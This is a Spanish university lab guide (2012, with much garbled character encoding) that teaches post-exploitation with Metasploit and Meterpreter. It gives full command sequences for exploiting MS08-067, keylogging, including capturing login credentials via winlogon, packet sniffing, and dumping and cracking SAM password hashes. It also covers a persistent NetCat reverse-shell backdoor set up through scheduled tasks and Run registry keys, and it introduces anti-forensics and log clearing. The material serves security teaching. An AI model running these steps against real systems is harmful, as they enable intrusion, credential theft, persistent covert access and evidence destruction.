You are on page 1of 23

PRUEBAS DE PENETRACIN AVANZADAS DE REDES Y SERVICIOS

Mayo 2012
Objetivo: Familiarizarse con herramientas avanzadas como Metasploit y Meterpreter para realizar actividades de post penetracin mediante sus avanzadas funciones especiales ( screenshot, keylogger, sniffer, hashdump, backdoor, clearev, timestomp ), luego de ue un atacante haya logrado penetrar en un e uipos ajeno y tomado control de mismo, aprovech!ndose de las brechas de seguridad e"istentes en una red y sus servicios, as# como e"plotando las vulnerabilidades y fallas en las aplicaciones del lado del usuario$ %e uisitos: &fectuar previamente la pr!ctica 'ruebas de penetracin de redes y servicios$ 'lataforma: (ac)*rac) (+inu")$

Seccin A: In !o"#ccin
Metasploit Frame,or) (M-F) es una e"itosa plataforma .open source/ disponible dise0ada espec#ficamente con el objetivo de facilitar la creacin y uso de e"ploits de todo tipo$ &st! disponible para 1indo,s y +inu", estando preinstalada en (ac)*rac), Meterpreter (o meta int2rprete) es una familia de plugins incorporados en M-F para utilizarlos como exploits contra sistemas vulnerables, permitiendo penetrar y tomar control de una m! uina remota, haciendo el menor ruido posible$ 3na vez ue el e"ploit haya funcionado, el intruso tendr! a disposicin una serie de comandos y utilidades para actividades de post penetracin ( post exploitation )$ Meterpreter permite inyectar 4++, subir y bajar archivos, ejecutar scripts y mucho m!s$ 3na de sus caracter#sticas es ue todo el cdigo es cargado en la memoria del sistema remoto, sin crear ning5n proceso adicional, por lo ue es dif#cil detectarlo$ &l uso b!sico de Metasploit se e"plica en la pr!ctica 'ruebas de penetracin de redes y servicios$ &n las e"periencias ue se describen a continuacin se utilizan las funciones especiales de ue dispone (ej$ keylogger, sniffer, hashdump, backdoor,clearev, timestomp ) y para esto es necesario lanzar previamente desde Metasploit un ata ue contra la m! uina remota mediante Meterpreter, tal como se e"plica en la pr!ctica Pruebas de penetracin de redes y servicios $ -i usted usa (ac)*rac) 6 con interfaz gr!fica 7nome, puede iniciar M-F desde Applications | BackTrack | xploitation Tools | !et"ork xploitation Tools | Metasploit #rame"ork | Msfconsole (o m!s r!pidamente desde el *erminal de (ac)*rac) escriba cd $pentest$exploits$frame"ork% y luego escriba $8 msfconsole )$ 4eber! esperar alg5n tiempo para ue aparezca en la pantalla del *erminal$

+uego ejecute comandos como los siguientes (para el e"ploit M-9:;9<= contra 1indo,s): info "indo"s$smb$ms&'(&)*(netapi use "indo"s$smb$ms&'(&)*(netapi sho" options sho" targets sho" payloads info "indo"s$meterpreter$reverse(tcp set payload "indo"s$meterpreter$reverse(tcp sho" options set rhost +,-.+)'.+-,.+-, set lhost +,-.+)'.+-,.+%/ set lport '& sho" options exploit

;>; ?ota: -e recomienda utilizar las funciones de cortar y pegar mediante el botn derecho para no escribir l#neas tan largas$ Otra solucin es copiar los comandos desde el archivo 0emplos.txt ue se encuentra en la carpeta 1ulnerabilidades2Metasploit del 4@4 del curso y en la carpeta Metasploit del 4@4 de Auditoria de 3eguridad ue entrega el 'rof$ Mendillo$ -i el e"ploit funciona, se mostrar! algo como lo siguiente:
[*] [*] [*] [*] Started reverse handler on port 80 Starting the payload handler... Sending stage (723456 bytes !eterpreter session " opened ("#2."68."2#."34$80 %& "#2."68."2#."34$76#7

Aon el e"ploit funcionando, tiene ahora control de la m! uina de la v#ctima y una la sesin de Meterpreter abierta$ 'ruebe por ejemplo los siguientes comandos: help, sysinfo, getuid, ls. &n las e"periencias ue siguen se utilizar!n algunas de las funciones o comandos avanzados disponibles en Meterpreter: Co$an"o screenshot )eyscanBstart )eyscanBdump )eyscanBstop hashdump clearev migrate do,nload upload e"ecute getpid )ill ps reg De%c!i&cin Aaptura el escritorio remoto &mpieza a capturar pulsaciones de teclas Muestra las pulsaciones de teclas grabadas 4etiene la captura de pulsaciones de teclas Muestra el contenido del archivo -CM de contrase0as encriptadas &limina los logs almacenados en el @isor de -ucesos Migra de un proceso a otro 4escarga un archivo o directorio al e uipo local -ube un archivo o directorio al e uipo remoto &jecuta un comando Muestra la identificacin del proceso en el ue estamos *ermina un proceso Muestra los procesos en ejecucin Modifica e interact5a con el registro remoto

Seccin B: Ca& #!a "e 'a &an a''a (%c!een%)o *


Aon Meterpreter se puede capturar el escritorio remoto y guardar la imagen en la m! uina local, utilizando un mdulo especial llamado espia$ D$ 'ara cargarlo, escriba use espia. +uego escriba screenshot y deber#a capturarse la pantalla remota$ >$ +a imagen se carga autom!ticamente en Firefo"$ 4e no ser as#, mediante el navegador bus ue en los directorios locales de (ac)*rac) el archivo donde Metasploit guard la imagen$ Eaga clic sobre ese archivo para abrirlo$ F$ (O&ciona'*+ &n ciertos casos la captura no funciona$ &ntonces hay ue .emigrar/ el script de Meterpreter a un proceso remoto de 1indo,s ue tenga acceso al escritorio activo (tal como xplorer.exe )$ &scriba ps y as# ver! la lista de los procesos activos en la m! uina remota$
'() *a+e 'ath %%% %%%% %%%% "0#6 ,inlogon -$./indo,s.syste+32.,inlogon.e0e "372 sv1host -$./indo,s.syste+32.sv1host.e0e "520 e0plorer.e0e -$./indo,s.e0plorer.e0e 3"76 ie0plore.e0e -$.'rogra+ 2iles.(nternet 30plorer.ie0plore.e0e 3452 41ro5d32.e0e -$.'rogra+ 2iles.4dobe5eader 8.0.5eader41ro5d32.e0e

Observe el 'G4 correspondiente a explorer.exe (en el ejemplo D6>9) y ejecute migrate +4-&. &l resultado deber#a ser lo siguiente:
[*] !igrating to "520... [*] !igration 1o+pleted s611ess76lly.

;F; @uelva a ejecutar screenshot y uiz!s ahora corra con suerte$ H$ 'ulse AtrIJ para suspender la sesin remota, sin cortar la sesin, poni2ndola en modo background. +uego escriba sessions 5i + para reabrir la sesin D$ &scriba por ejemplo sysinfo para che uear ue la sesin se reabri$ 6$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ <$ -i ahora decide salir de Metasploit, escriba exit $

Seccin C: Ca& #!a "e' ec'a"o (,ey'o--e!*


Meterpreter puede operar como un )eylogger remoto del sistema hac)eado, sin escribir nada en el disco, dejando una huella m#nima para los investigadores forenses$ &s ideal para espiar contrase0as, cuentas de usuario y todo tipo de informacin valiosa$ &n realidad, la captura no se efect5a directamente interceptando el teclado, sino a trav2s del proceso remoto controlado por Meterpreter (usualmente svchost.exe )$ 'ara lograr capturar lo ue la v#ctima escribe (por ejemplo en 1ord o Gnternet &"plorer), hay ue .emigrar/ el script de Meterpreter a ese proceso$ D$ &scriba ps y as# ver! la lista de los procesos activos en la m! uina remota$
'() *a+e 'ath %%% %%%% %%%% "0#6 ,inlogon -$./indo,s.syste+32.,inlogon.e0e "372 sv1host -$./indo,s.syste+32.sv1host.e0e "520 e0plorer.e0e -$./indo,s.e0plorer.e0e 3"76 ie0plore.e0e -$.'rogra+ 2iles.(nternet 30plorer.ie0plore.e0e 3452 41ro5d32.e0e -$.'rogra+ 2iles.4dobe5eader 8.0.5eader41ro5d32.e0e

>$ Observe el 'G4 correspondiente a iexplore.exe (en el ejemplo FD=<) y entonces escriba migrate %+*). &l resultado deber#a ser lo siguiente:
[*] !igrating to 3"76... [*] !igration 1o+pleted s611ess76lly.

F$ Chora puede empezar a capturar mediante el comando keyscan(start$ *enga paciencia y espere un tiempo hasta ue la v#ctima escriba algo en Gnternet &"plorer (o h!galo 3d$ mismo si es su propia m! uina)$ H$ Aon el comando keyscan(dump puede ver lo ue la v#ctima tecle en la aplicacin a la cual el atacante migr$ 6$ Aon el comando keyscan(stop se termina el script$ <$ *ome en cuenta ue si la v#ctima cierre la aplicacin (en este ejemplo Gnternet &"plorer), el atacante pierde su cone"in con la v#ctima$ &sto tambi2n podr#a ocurrir por ue la aplicacin se pone muy lenta debido al e"ploit y entonces el usuario la cierra$ =$ -i desea capturar informacin durante el login de un usuario, emigre el proceso a "inlogon$ Aon esto podr#a capturar las credenciales de los distintos usuarios ue inician sesin en el sistema (claro est! si no apagan la m! uina)$ :$ +a emigracin del script de Meterpreter a otro proceso tambi2n se utiliza para camuflar otro popular tipo de ata ue con Meterpreter, ue consiste en enviar un archivo infectado a la v#ctima utilizando ingenier#a social$ &n tal caso el nombre del archivo aparecer#a en la lista de los procesos, haciendo m!s evidente el e"ploit, por lo ue resulta prudente disfrazarlo bajo otro proceso activo (por ejemplo emigr!ndolo a svchost)$ K$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ D9$ -i ahora decide salir de Metasploit, escriba exit $

Seccin D: Ca& #!a "e !./ico (%ni//e!*

;H; &l autor de Metasploit, E$4$ Moore, lanz hace alg5n tiempo una novedosa funcin o mdulo para Meterpreter, ue opera de forma sigilosa, capturando pa uetes desde8hacia la red en la m! uina remota, pero sin tocar el disco duro$ &s un sniffer ue utiliza el MicroO+C' 'ac)et -niffer -4L, ue no re uiere instalar ning5n driver o escribir en los archivos del sistema$ &s lo suficientemente inteligente para darse cuenta de su propio tr!fico, as# pues elimina autom!ticamente el tr!fico de la interactividad de Meterpreter$ Cdem!s los pipes de Meterpreter mueven toda la informacin a trav2s de un t5nel encriptado --+8*+-$ &l sniffer puede almacenar hasta >99$999 pa uetes en el buffer y tambi2n e"portarlos al formato standard 'AC', lo cual permite luego leerlos y procesarlos con tcpdump o 1ireshar), entre otros$ D$ 'ara cargar el mdulo, escriba use sniffer y luego puede utilizar los siguientes conmandos: sniffer(interfaces ; +ist all remote sniffable interfaces sniffer(start ; Aapture pac)ets on a previously opened interface sniffer(dump ; %etrieve captured pac)et data sniffer(stats ; @ie, statistics of an active capture sniffer(stop ; -top pac)et captures on the specified interface

>$ &n primer lugar averigue las interfaces disponibles mediante el comando sniffer(interfaces $ 'osiblemente se muestren varias interfaces, algunas virtuales (@M,are o @irtual(o")$ Cnote el n5mero de la ue le interesa (ej$ D) y luego ejecute sniffer(start +$ F$ 'ara saber cmo marcha la captura, ejecute sniffer(stats +$ Auando haya capturado un buen n5mero de pa uetes y para ue no se llene el buffer, guarde la captura en un archivo ejecutando sniffer(dump + $root$captura+.pcap $ 'uede volver a ejecutar este comando cada minuto, por ejemplo, para ir acumulando la captura en ese mismo archivo$ H$ Finalmente ejecute sniffer(stop + y ahora podr! utilizar 1ireshar) para analizar los datos interceptados$ -e encuentra bajo Applications | BackTrack | 8nformation 9athering | !et"ork Analysis | !et"ork Traffic Analysis | :ireshark. 6$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ <$ -i ahora decide salir de Metasploit, escriba exit $

Seccin E: Ca& #!a "e 'i% a "e con !a%e0a% ()a%)"#$&*


3n mdulo decididamente valioso es hashdump, ya ue e"trae el contenido del archivo -CM (3ecurity Accounting Manager ) el cual se encuentra en la carpeta 2:indo"s23ystem%-2config $ Cll# 1indo,s guarda en una lista las contrase0as de inicio de sesin de los usuarios en forma encriptada (conocidas como hashes)$ 'ero ese archivo -CM est! blo ueado por el sistema operativo, ya ue lo controla el proceso +-C-- (;ocal 3ecurity Authority 3ubsystem ), por lo cual no se puede f!cilmente abrir ni copiar$ 3na forma de lograrlo, es conect!ndose al +-C-- como administrador (o alguien con permisos e uivalentes)$ +-C-- es el proceso ue autoriza y maneja todo el tinglado de las contrase0as introducidas en 1indo,s$ ?ormalmente los hashes se guardan en -CM usando > algoritmos distintos: &l primer algoritmo, el hash de +C? Manager (+M), es mucho menos seguro ue el segundo, el hash de ?*+M$ &l motivo por el ue se utilizan > formas, es para asegurar la compatibilidad con aplicaciones y sistemas operativos anteriores, como 1indo,s K:$ +M ya no usa en 1indo,s = y @ista, as# ue hay algo m!s de seguridad$ &l ata ue con hashdump e"trae los hashes del archivo -CM (obviamente sin desecriptarlos), pero debido a ue el mdulo hashdump es algo pesado, no est! precargado y hay ue utilizar la e"tensin priv.

D$ &ntonces para empezar el ata ue, en Meterpreter escriba use priv$ ?o haga caso a un posible mensaje de error$ -eguidamente escriba hashdump y obtendr! un resultado como el siguiente:
4d+inistrador$500$b7632dd0"17"#73774227b36#77b5b71$770da77ad38a37d803d#7737a28672d8$$$ 4sistente de ay6da$"000$3a0"37b808665234d01#d#"4734#aa1e$38b55bd3#375a"10165a"486771d0#07$$$ (nvitado$50"$aad3b435b5"404eeaad3b435b5"404ee$3"d617e0d"6ae#3"b7315#d7e0108#10$$$ S8''95:;388#45a0$"002$aad3b435b5"404eeaad3b435b5"404ee$5"1#1e7711e1d1e787735"27db27a78"$$$ 8s6ario$"003$78b11aee081#0e2#aad3b435b5"404ee$7#e37e83b83147a#31270#76640863"b$$$

Aada l#nea de la lista contiene los siguientes datos, separados por dos puntos: ?ombre de la cuenta, ?5mero de la cuenta, Eash de

;6; +M, Eash de ?*+MM$$ >$ 3na vez ue tenga el hash (por ejemplo bf<F>dd9Dc=DKfFffH>>=bF<K=fb6b=c), puede utilizar un ata ue de diccionario o un ata ue de fuerza bruta para intentar crac)ear la contrase0a encriptada$ &l ata ue se puede hacer en l#nea (en Gnternet) o fuera de l#nea (en la m! uina del atacante)$ 'or ejemplo vaya a http:88hashcrac)$com o http:88plain;te"t$info y si el sitio todav#a est! activo, introduzca el hash y con suerte en poco tiempo aparecer! la contrase0aN

F$ (ac)*rac) dispone de varias herramientas para crac)ear contrase0as, bajo Applications | BackTrack | Privilege scalation | Pass"ord Attacks | <ffline Attacks. Ophcrac) y %ainbo,Arac) son herramientas muy poderosas$ -in embargo las tablas re ueridas, ue son sumamente grandes, no est!n preinstaladas en el +ive;4@4 y abr#a ue descargarla (o utilizar el +ive;A4 de Ophcrac))$

H$ 3n popular crac)er de contrase0as de 1indo,s y +inu" es Oohn *he %ipper (O*%)$ 'ara usarlo primero debe crear un archivo con el resultado ue arroj hashdump de Meterpreter, para lo cual abra el editor de te"to 7edit desde Applications | Accessories y copie all# dicho resultado mediante las funciones 6opy = Paste (botn derecho del ratn)$ -i le interesa solo la clave del Cdministrador, entonces copie 5nicamente esa l#nea$ 7uarde esa informacin en el archivo $root$hashes.txt. 6$ C continuacin ejecute 0ohn the ripper , ue se encuentra bajo Applications | BackTrack | Privilege scalation | Pass"ord Attacks | <ffline Attacks. &n la #nea de comandos ue se abre, ejecute el siguiente comando para empezar el crac)ing: .$0ohn $root$hashes.txt <$ +as contrase0as encontradas se muestran en la pantalla y se guardan en un archivo llamado 0ohn.pot $ &ste archivo tambien sirve para no volver a cargar a uellas contrase0as ue ya han sido encontradas cuando se inicie otra vez el programa$ &l estado de la sesin es guardado autom!ticamente cada D9 minutos para no perder mucha informacin en caso de cuelgue, corte de corriente, etc$ Mientras contin5a el crac)ing, puede pulsar cual uier tecla para ver el estado de avance hasta ese momento o AtrlIA para terminar la sesin guardando el estado en un archivo ( restore por defecto) y poder empezar m!s tarde desde ese punto$ 'ara continuar la sesin interrumpida, ejecute: $80ohn 5restore. =$ &l modo de crac)ear m!s potente de Oohn es llamado incremental: .$0ohn 5i $root$hashes.txt :$ -i despu2s de un cierto tiempo todav#a no aparece la contrase0a, posiblemente se deba a ue no est! en el diccionario (el el archivo pass"ord.lst)$ Cbra ese archivo con 7edit y vea su contenido$ -e pueden obtener diccionarios muchos m!s e"tensos en Gnternet y en http:88,,,$open,all$com8,ordlists8$ *ambi2n hay una serie de diccionarios en la carpeta 6ontrase>as2?iccionarios del 4@4 del curso$ K$ C0ada a pass"ord.lst la contrase0a de un usuario de la m! uina atacada (si la conoce) y guarde el archivo con el nombre pass"ord-.lst$ D9$ +uego ejecute .$0ohn 55"ordlist@pass"ord-.lst $root$hashes.txt

;<; DD$ 'ara ver las claves ue han sido encontradas, termine la sesin mediante AtrlIA y luego ejecute .$0ohn 5sho" $root$hashes.txt

D>$ (O&ciona'*+ &n un caso real, Oohn *he %ipper no ofrece suficiente fle"ibilidad y podr#a utilizar Aain bajo 1indo,s, como se e"plica en la gu#a de la pr!ctica sobre 7estin de contrase0as$ 'ara tal fin deber! transferir a una plataforma 1indo,s el archivo hashes.txt $

DF$ Otra posibilidad interesante es utilizar el e"ploit "indo"s$smb$psexec, el cual permite obtener acceso al sistema mediante el hash, sin necesidad de crac)ear la contrase0a$ DH$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ D6$ -i ahora decide salir de Metasploit, escriba exit $

Seccin 1: P#e! a !a%e!a &e!%i% en e (2ac,"oo!*


3na puerta trasera (bac)door) en general es un soft,are (ej$ Meterpreter) ue se implanta en la m! uina de la v#ctima utilizando alg5n m2todo (puerto o servicio vulnerable, troyano, e;mail infectado, ingenier#a social, etc$)$ Meterpreter dispone de e"ploits de canal directo como "indo"s$meterpreter$bind(tcp , pero suelen fallar si el sistema est! protegido por un fire,all (o est! detr!s de un ?C*) y por tal razn es m!s conveniente utilizar los e"ploits de canal inverso como "indo"s$meterpreter$reverse(tcp , donde la m! uina de la v#ctima abre un puerto hacia la m! uina del atacante, cuya direccin G' debe ser visible (o usar la t2cnica de port for,arding)$ 3sualmente la cone"in *A'834' la inicia ese soft,are desde la m! uina de la v#ctima hacia la m! uina del atacante, utilizando el puerto :9 o HHF, para as# intentar atravesar sin problemas eventuales fire,alls o pro"ies$

+uego de establecer la cone"in, el atacante toma control mediante un canal inverso ( reverse channel )$ &l tr!fico puede estar encriptado para ue no levante sospechas (por ejemplo, en m! uinas de votacin electrnica programadas para enviar resultados falsos)$ &l problema con Meterpreter es ue si la v#ctima apaga y reinicia la m! uina, entonces el atacante pierde el control$ 'ara mantener el sistema controlado de forma permanente ('aso H en la siguiente figura), se re uiere implantar una puerta trasera ue se

;=; inicie autom!ticamente cuando se enciende el e uipo$

'ara tal fin puede utilizar ?etAat, una conocida herramienta disponible para sistemas +inu", 1indo,s y Cpple$ 'ermite a trav2s de int2rprete de comandos y con una sinta"is muy sencilla, abrir puertos *A'834' en una m! uina ( uedando ?etAat a la escucha) o asociar una shell a un puerto en concreto (para conectarse por ejemplo remotamente a cmd.exe en 1indo,s o al int2rprete bash de +inu")$ ?etAat fue desarrollada en DKK< por un hac)er conocido como Aobbit, con el fin de resolver las limitaciones de *elnet$ &l nombre proviene del comando b!sico de 3ni" llamado cat ue concatena archivos e imprime a la salida est!ndar$ ?etAat hace b!sicamente lo mismo, pero en vez de concatenar archivos, concatena direcciones y puertos *A'834'$ 4esde un punto de vista b!sico, ?etAat es como *elnet, pero tiene una infinidad de usos en forma an!loga a la famosa navaja del ejercito suizo$ -us capacidades hacen ue sea a menudo usada como una herramienta para crear una puerta trasera una vez hac)eado un sistema y obtenido privilegios de administrador (o root) en el e uipo de la v#ctima$ &n tales casos se prefiere usar la variante AryptAat, ue adicionalmente cifra los datos$ D$ ?etcat viene incluido y listo para ser usado desde (ac)*rac)$ 'ara activarlo, desde un terminal escriba nc 5h o cryptcat 5h para ver la ayuda con la lista de opciones$ >$ Cl igual ue *elnet, ?etAat se puede utilizar para conectarse a un puerto de otro servicio, por ejemplo :9 (E**') o >6 (-M*'), para fines de diagnstico y pruebas$ 'or ejemplo, desde la l#nea de comandos ejecute nc mail.cantv.net -4 para as# conectarse a un servidor -M*' de correo$ +uego escriba helo cantv.net. F$ 'ara crear una puerta trasera en la m! uina de la v#ctima mediante ?etAat, debe empezar por subir a esa m! uina la versin de ?etAat para 1indo,s ue afortunadamente ya se encuentra en (ac)*rac)$ &n Meterpreter escriba upload $pentest$"indo"s5 binaries$tools$nc.exe 6B22:8!?<:322system%-22nc.exe $ Observe el uso del doble bac)slash en este comando$ ?ota: M-F se pone lento y es f!cil e uivocarse al escribir comandos tan largos, por lo ue es conveniente usar las funciones de cortar y pegar mediante el botn derecho$ 3na solucines escribir primero en un terminal de (ac)*rac) y luego copiar a M-F$ Otra solucin es copiar los comandos desde el archivo !et6at.txt ue se encuentra en la carpeta 1ulnerabilidades2Metasploit del 4@4 del curso y en la carpeta Metasploit del 4@4 de Auditoria de 3eguridad ue entrega el 'rof$ Mendillo$ H$ A!mbiese al directorio donde subi ?etAat mediante cd 22:indo"s22system%-. 6$ &n un terminal de (ac)*rac) (la m! uina del atacante) escriba nc 5vlp port ChostnameD , por ejemplo nc 5vlp //%$ 4e esta forma se activa un proceso ue escucha ( listen ) por un port (ej$ HHF) desde cual uier direccin G'$ &l par!metro ; v (verbose) muestra los detalles de lo ue ocurre mientras ue vv muestra m!s detalles$ -i especifica hostname , entonces la cone"in debe provenir de una m! uina esp2cifica (ej$ la v#ctima en DK>$D<:$D>K$D)$

<$ &n la ventana de Meterpreter escriba execute 5A 5c 5i Ef Fnc.exe hostname port 5e cmd.exeF. 'or ejemplo execute 5A 5c 5i 5f Fnc.exe +,-.+)'.+-,.+-% //% 5e cmd.exeF $ C u# hostname es la direccin G' de la m! uina remota de atacante (ej$ DK>$D<:$D>K$DHF)$ &l par!metro 5e especifica el archivo a ejecutar cuando se establezca la cone"in$

;:;

=$ -i todo sale bien (lo cual no es tan f!cil), deber#a establecerse la cone"in y ahora 3d$ dispone de la l#nea de comandos en la m! uina remota, donde puede hacer una gran cantidad de cosas$

:$ -i escribe help, ver! una lista de los algunos de los comandos inmediatamente disponibles$ Aonsulte la gu#a de la pr!ctica 'ruebas de penetracin de redes y servicios para m!s ejemplos con el shell remoto$ K$ -i ejecuta netstat 5an, notar! ue aparece la sesin *A' establecida entre las > m! uinas$ D9$ +o m!s interesante es ue si se cierra de sesin de Meterpreter por parte de la v#ctima o del atacante, se sigue manteniendo el shell remoto$ 'ero si la v#ctima apaga y reinicia la m! uina, entonces evidentemente el atacante pierde ese shell remoto, es decir la puerta trasera no es persistente o permanente$ 3na primera solucin consiste en programar una tarea (mediante el comando C*), para ue ?etAat corra a ciertas horas y d#as$ 3na segunda solucin consiste en modificar el %egistro de 1indo,s a fin de ue ?etAat se inicie con el encendido del e uipo$ DD$ +a primera solucin es uiz!s la m!s f!cil$ 4esde la l#nea de comandos escriba AT 5h para ver las opciones disponibles$ -e re uiere poseer una cuenta con privilegios altos para ejecutar este comando$ D>$ Chora escriba un comando como el siguiente: AT +'B%& $everyB;,M,Mi,G,1,3,? 6B2"indo"s2system%-2nc.exe +,-.+)'.+-,.+%/ //% 5e cmd.exe +a hora se especifica como horasBminutos, tomando como base un reloj de >H horas$ 'or ejemplo, 9:99 representa la medianoche y >9:F9 representa las ::F9 p$m$ 'ara hacer una prueba, ponga la hora ue corresponda a D9 minutos despu2s la hora ue marca su e uipo (ej$ D::>9)$ +a fecha se especifica como uno o varios d#as de la semana (M, *, 1, *h, F, -, -u) o uno o varios d#as del mes (n5meros de D a FD)$ 3tilizar las comas para separar varias entradas de fecha$ -i se omite este par!metro, la tarea se programa para ejecutarse el d#a actual$ DF$ 'ara ver la lista de las tareas programadas, escriba simplemente AT.

DH$ *ome en cuenta ue si la v#ctima es suspicaz, tambi2n podr#a ver la lista de las tareas programadas mediante el comando AT desde su propia ventana de comandos$ D6$ 'ara borrar una tarea programada, escriba AT 8? $delete , donde 8? es el P del identificador del job (normalmente D)$ D<$ 'ara verificar si la la tarea funciona correctamente, termine la sesin de shell remoto escribiendo mediante exit. *ambi2n termine la sesin de Meterpreter mediante exit o pulse 6tr76$ 3n poco antes de la hora y fecha programada, en un terminal de (ac)*rac) de la m! uina del atacante escriba nc 5vlp port , por ejemplo nc 5vlp //%$ 4e esta forma se activa un proceso ue escucha ( listen ) por el puerto HHF desde cual uier direccin G'$ D=$ &spere un rato y al llegar la hora, deber#a activarse la cone"in y usted deber#a obtener el shell remoto en (ac)*rac) $ -i no uiere esperar y tiene acceso a la m! uina de la v#ctima, desde 1indo,s vaya a la lista de de tareas mediante Accesorios | Aerramientas del sistemas | Tareas programadas y pulse 0ecutar.

;K;

D:$ +a segunda solucin ue se mencion anteriormente, consiste en modificar el %egistro de 1indo,s a fin de ue nc.exe se active con el encendido del e uipo$ 'ara tal fin se utiliza la funcin reg de Meterpreter$ &scriba simplemente reg para as# conocer las opciones de uso (pero antes debe terminar la sesin remota con Meterpreter mediante exit )$ DK$ 'ara averiguar ue programas se inician durante el arran ue, escriba: reg enumkey 5k AH;M22soft"are22microsoft22"indo"s22currentversion22run >9$ 'ara a0adir un nuevo valor al registro, escriba: reg setval 5k AH;M22soft"are22microsoft22"indo"s22currentversion22run 5v nc 5d F6B22"indo"s22system%-22nc.exe +,-.+)'.+-,.+%/ //% 5e cmd.exeF >D$ 'ara verificar si el cambio se efectu, escriba: reg Iueryval 5k AH;M22soft"are22microsoft22"indo"s22currentversion22Jun >>$ &sto es lo ue ver#a la v#ctima si corre Jegedit en su m! uina hac)eada:

>F$ 'ara m!s informacin, consulte la seccin sobre el %egistro de 1indo,s en la gu#a de la pr!ctica sobre Aonfiguracin y operacin de 1indo,s Q' o Aonfiguracin y operacin de 1indo,s = y @ista . >H$ 'ara completar est! seccin, analice los aspectos de confidencialidad de las e"periencias anteriores$ 'ruebe a repetir las pruebas utilizando AryptAat, ue funciona igual ue ?etAat, pero cifra los datos mediante el algoritmo *,ofish$ >6$ -i ahora decide terminar la sesin remota, escriba exit o pulse 6tr76$ Fin del ata ue ; 7ame over$ ><$ -i ahora decide salir de Metasploit, escriba exit $

Seccin 3: Bo!!an"o 'a% )#e''a% "e #na in !#%in (c'ea!e4*


'enetrar en un sistema e interactuar con sus archivos es como caminar en la nieve: se dejan huellas, las cuales pueden ser descubiertas y eventualmente llevar hasta el atacante$ +a For2nsica 4igital (en ingl2s Aomputer Forensics) se encarga de la recoleccin, inspeccin, identificacin, e"traccin, preservacin, an!lisis, interpretacin y documentacin de las pruebas relacionadas con incidentes o delitos cometidos utilizando sistemas inform!ticos$ &n contraposicin a la forKnsica e"iste lo ue se podr#a denominar la antiforKnsica, la cual engloba las t2cnicas y artilugios utilizados por los intrusos y delicuentes para encubrir y no dejar rastros de sus actividades ('aso 6 en la figura: 6learing Tracks)$

;D9;

&l principal objetivo de la antiforKnsica es evitar ue la evidencia sea encontrada por los investigadores y en caso de ue estos la encuentren, disminuir sustancialmente la validez ue se le puede otorgar a dicha evidencia en un juicio formal$ &sto implica ue se deben destruir, desmantelar o en su defecto modificar todas las pruebas 5tiles$ &se lo mismo ue en la vida real cuando ocurre un crimen, el criminal uiere destruir todo rastro o evidencia y se vale de una serie de subterfugios para lograr ese objetivo$ Mediante la falsificacin de la evidencia se busca enga0ar y crear falsas pruebas para los investigadores, intentando as# encubrir al verdadero autor, incriminando a terceros o desviando la investigacin$ 'ara tal fin se fabrican evidencias incorrectas y falsas ue corrompen y da0an la validez de las pruebas en una investigacin forense formal, por lo cual podr#an no ser tomadas en cuenta como evidencias sustentables$ &n ciertos casos no hace falta destruir las pruebas, puesto ue ni e"isten$ 'or ejemplo, cuando un criminal utiliza guantes de goma para disparar una pistola, es para no dejar huellas dactilares en el arma$ O si no usa guantes, borra las huellas con un trapo$ &n el campo de la inform!tica se desactivan o se borran los log de auditor#a del sistema$ 3na de las t2cnicas antiforense ue utiliza Meterpreter es cargarse en memoria sin escribir nada en el disco, minimizando en gran medida la posibilidad de dejar huellas en el sistema$ C continuacin se har! una serie e"periencias b!sicas sobre la manipulacin de la evidencia mediante Meterpreter en una m! uina 1indo,s remota ue haya sido penetrada$ D$ +os logs de auditor#a m!s importantes de 1indo,s se encuentran en 6B2:8!?<:32system%-2config y se visualizan mediante el 1isor de sucesos$ +o puede abrir simplemente ejecutando eventv"r$ +uego haga clic sucesivamente sobre Jegistro de aplicacin, Jegistro de seguridad y Jegistro del sistema para as# e"plorar y analizar la lista de los sucesos ocurridos$ ?ota: 'ara los fines de esta pr!ctica se asume ue 3d$ puede ejecutar comandos directamente sobre la m! uina penetrada$

>$ &l registro de aplicacin contiene los sucesos registrados por aplicaciones o programas$ 'or ejemplo, un programa de base de datos podr#a reportar a u# alg5n tipo de error$ &l registro del sistema contiene sucesos reportados por componentes del sistema operativo$ 'or ejemplo, un error de carga de un controlador u otro componente del sistema durante el inicio, ueda registrado a u#$ &l registro de seguridad reporta sucesos de seguridad como los intentos v!lidos o no v!lidos de inicio de sesin, as# como los sucesos relacionados con el uso de recursos como, por ejemplo, crear, abrir o eliminar archivos$ 3n administrador puede especificar los sucesos ue se reportar!n en el registro de seguridad$ 'or ejemplo, si se habilit la auditor#a de inicio de sesin, se registrar!n en el registro de seguridad los intentos de inicio de sesin en el sistema$ +os usuarios pueden ver los registros de aplicacin y del sistema, pero slo los administradores pueden tener acceso a los registros de seguridad$ F$ 3na supervisin cuidadosa de los registros de sucesos puede ayudar a identificar los problemas del sistema, ya ue est! clasificados de la siguiente manera: rror: 3n problema importante, como una p2rdida de datos o de funcionalidad$ 'or ejemplo, si no se puede cargar un servicio durante el inicio, se registrar! un error$ Advertencia : -uceso ue no es importante necesariamente, pero ue indica la posibilidad de problemas en el futuro$ 'or ejemplo, cuando ueda poco espacio de disco$

;DD; 8nformacinB 3n suceso ue describe el funcionamiento correcto de una aplicacin, un controlador o un servicio$ 'or ejemplo, cuando se carga correctamente un controlador de red$ Acceso correcto auditado : 3n intento de acceso de seguridad correcto$ 'or ejemplo, un intento satisfactorio de inicio de sesin en el sistema de un usuario$ Acceso errneo auditado : 3n intento de acceso de seguridad auditado errneo$ 'or ejemplo, si un usuario intenta tener acceso a una unidad de red y no lo consigue$

H$ 4e forma predeterminada, en 1indo,s = y @ista los registros de seguridad est!n activados, mientras ue en 1indo,s Q' est!n desactivados$ 'ara habilitarlos, ejecute secpol.msc o vaya a 8nicio | Panel de 6ontrol | Aerramientas Administrativas | ?irectivas de seguridad local | ?irectivas locales | ?irectivas de auditorLa.

